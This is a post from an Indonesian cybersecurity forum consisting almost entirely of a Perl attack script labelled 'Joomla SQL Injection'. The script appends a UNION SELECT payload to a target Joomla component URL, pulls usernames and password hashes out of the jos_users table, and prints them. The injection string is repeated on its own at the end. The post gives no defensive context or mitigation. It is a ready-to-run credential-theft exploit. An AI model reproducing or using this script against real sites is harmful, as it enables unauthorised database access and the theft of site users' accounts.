Cyber Security Forum (X-code) - PT. Teknologi Server Indonesia

Code: Select all

#!/usr/bin/perl -w
print "\t\t############################################################\n\n";
print "\t\t#                                       Joomla SQL Injection                                             #\n\n";
print "\t\t############################################################\n\n";
use LWP::UserAgent;
die "Contoh: perl $0 'http://joomla_web.com/path/index.php?option=com_contoh&id=1' 'baris_dari_pass'\n" unless @ARGV;
$user="username";
$pass="password";
$tabel="jos_users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $ARGV[0] . 
"+AND+1=2+union+all+select+1,concat(CHAR(60,117,115,101,114,62),".$user.",CHAR(60,117,115,101,114,62),CHAR(60,112,97,115,115,62),".$pass.",CHAR(60,112,97,115,115,62)),3,4,5+from+".$tabel."+LIMIT+".$ARGV[1].",1--";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;
if ($answer =~ /<user>(.*?)<user>/){
        print "\n[+] Username : $1";
}
if ($answer =~/<pass>(.*?)<pass>/){
        print "\n[+] password : $1\n\n";
        print "\t\t#   berhasil   #\n\n";}
else{print "\n[-] gagal...\n";}

Code: Select all

"+AND+1=2+union+all+select+1,concat(CHAR(60,117,115,101,114,62),".$user.",CHAR(60,117,115,101,114,62),CHAR(60,112,97,115,115,62),".$pass.",CHAR(60,112,97,115,115,62)),3,4,5+from+".$tabel."+LIMIT+".$ARGV[1].",1--";